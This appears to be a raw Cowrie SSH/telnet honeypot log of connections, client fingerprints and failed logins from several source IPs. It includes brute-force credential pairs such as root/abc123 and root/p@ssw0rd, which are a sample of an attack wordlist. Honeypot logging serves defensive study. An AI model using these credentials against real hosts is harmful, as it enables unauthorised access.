{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:47.147972Z","src_ip":"45.156.87.253","session":"1eb9cb34fc21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07d88cc929b","protocol":"ssh","message":"New connection: 45.156.87.253:45372 (10.17.0.5:22) [session: b07d88cc929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:49.137816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:49.140873Z","src_ip":"45.156.87.253","session":"b07d88cc929b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:49.220927Z","src_ip":"45.156.87.253","session":"b07d88cc929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:49.462840Z","src_ip":"45.156.87.253","session":"b07d88cc929b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:50.546530Z","src_ip":"45.156.87.253","session":"b07d88cc929b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45392,"dst_ip":"10.17.0.5","dst_port":22,"session":"b68f6b6b2f62","protocol":"ssh","message":"New connection: 45.156.87.253:45392 (10.17.0.5:22) [session: b68f6b6b2f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:52.504281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:52.510995Z","src_ip":"45.156.87.253","session":"b68f6b6b2f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:52.591950Z","src_ip":"45.156.87.253","session":"b68f6b6b2f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:52.837241Z","src_ip":"45.156.87.253","session":"b68f6b6b2f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":56960,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6659a99936f","protocol":"telnet","message":"New connection: 72.167.226.244:56960 (10.17.0.5:23) [session: d6659a99936f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:52.937947Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.236.63","src_port":42154,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa345a40cea4","protocol":"telnet","message":"New connection: 139.59.236.63:42154 (159.203.135.109:23) [session: aa345a40cea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:53.373400Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:53.925942Z","src_ip":"45.156.87.253","session":"b68f6b6b2f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45404,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4884e55823a","protocol":"ssh","message":"New connection: 45.156.87.253:45404 (10.17.0.5:22) [session: a4884e55823a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:55.848436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:55.851975Z","src_ip":"45.156.87.253","session":"a4884e55823a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:55.935768Z","src_ip":"45.156.87.253","session":"a4884e55823a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:56.331865Z","src_ip":"45.156.87.253","session":"a4884e55823a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:57.416025Z","src_ip":"45.156.87.253","session":"a4884e55823a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78740167617798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:15.223370Z","src_ip":"72.167.226.244","session":"a3fe82f06750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":46076,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5eea89f93b","protocol":"telnet","message":"New connection: 72.167.226.244:46076 (10.17.0.5:23) [session: 5d5eea89f93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:17.270414Z"}
{"eventid":"cowrie.session.closed","duration":30.57308530807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:23.510872Z","src_ip":"72.167.226.244","session":"d6659a99936f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":55196,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f8bf8de0ff","protocol":"ssh","message":"New connection: 189.190.244.176:55196 (10.17.0.5:22) [session: 38f8bf8de0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:25.667361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:25.671122Z","src_ip":"189.190.244.176","session":"38f8bf8de0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:25.745308Z","src_ip":"189.190.244.176","session":"38f8bf8de0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangxu123","message":"login attempt [root/wangxu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:26.076124Z","src_ip":"189.190.244.176","session":"38f8bf8de0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:27.153521Z","src_ip":"189.190.244.176","session":"38f8bf8de0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.27339029312134,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:38.646691Z","src_ip":"139.59.236.63","session":"aa345a40cea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":43594,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e66941c65c5","protocol":"telnet","message":"New connection: 72.167.226.244:43594 (10.17.0.5:23) [session: 4e66941c65c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:38.653418Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":43606,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c05c4c2ffe","protocol":"telnet","message":"New connection: 72.167.226.244:43606 (10.17.0.5:23) [session: 22c05c4c2ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:40.630226Z"}
{"eventid":"cowrie.session.closed","duration":30.80849838256836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:32:48.078793Z","src_ip":"72.167.226.244","session":"5d5eea89f93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35626,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2947d08f148","protocol":"telnet","message":"New connection: 107.6.151.170:35626 (159.203.135.109:23) [session: e2947d08f148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:33:02.599008Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":47234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a3f1a01b6a","protocol":"telnet","message":"New connection: 128.199.209.169:47234 (159.203.135.109:23) [session: a9a3f1a01b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:33:07.694783Z"}
{"eventid":"cowrie.session.closed","duration":30.46779751777649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:33:09.121130Z","src_ip":"72.167.226.244","session":"4e66941c65c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759214878082275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:33:11.389333Z","src_ip":"72.167.226.244","session":"22c05c4c2ffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":60804,"dst_ip":"10.17.0.5","dst_port":23,"session":"a09772b6ca5e","protocol":"telnet","message":"New connection: 72.167.226.244:60804 (10.17.0.5:23) [session: a09772b6ca5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:33:29.100291Z"}
{"eventid":"cowrie.session.closed","duration":31.98690700531006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:33:34.585785Z","src_ip":"107.6.151.170","session":"e2947d08f148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95043706893921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:00.050560Z","src_ip":"72.167.226.244","session":"a09772b6ca5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":39220,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb1299bb8bd5","protocol":"telnet","message":"New connection: 72.167.226.244:39220 (10.17.0.5:23) [session: eb1299bb8bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:00.461328Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":37558,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cd363fcf53a","protocol":"ssh","message":"New connection: 189.190.244.176:37558 (10.17.0.5:22) [session: 6cd363fcf53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:06.201189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:06.204520Z","src_ip":"189.190.244.176","session":"6cd363fcf53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:06.278317Z","src_ip":"189.190.244.176","session":"6cd363fcf53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:06.606332Z","src_ip":"189.190.244.176","session":"6cd363fcf53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:07.682364Z","src_ip":"189.190.244.176","session":"6cd363fcf53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36364,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7619398aec1","protocol":"telnet","message":"New connection: 107.6.151.170:36364 (159.203.135.109:23) [session: e7619398aec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:08.652892Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":22976,"dst_ip":"159.203.135.109","dst_port":22,"session":"09692c4be6e4","protocol":"ssh","message":"New connection: 178.128.39.166:22976 (159.203.135.109:22) [session: 09692c4be6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:12.568903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:12.676703Z","src_ip":"178.128.39.166","session":"09692c4be6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:12.679158Z","src_ip":"178.128.39.166","session":"09692c4be6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:13.471962Z","src_ip":"178.128.39.166","session":"09692c4be6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:14.623947Z","src_ip":"178.128.39.166","session":"09692c4be6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.586732387542725,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:16.239409Z","src_ip":"107.6.151.170","session":"e7619398aec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575423002243042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:31.036614Z","src_ip":"72.167.226.244","session":"eb1299bb8bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec13b2dee15b","protocol":"telnet","message":"New connection: 72.167.226.244:50840 (10.17.0.5:23) [session: ec13b2dee15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:49.372301Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":34896,"dst_ip":"159.203.135.109","dst_port":22,"session":"500c3c4bc9bb","protocol":"ssh","message":"New connection: 13.234.134.227:34896 (159.203.135.109:22) [session: 500c3c4bc9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:59.118493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:59.121862Z","src_ip":"13.234.134.227","session":"500c3c4bc9bb","protocol":"ssh"}
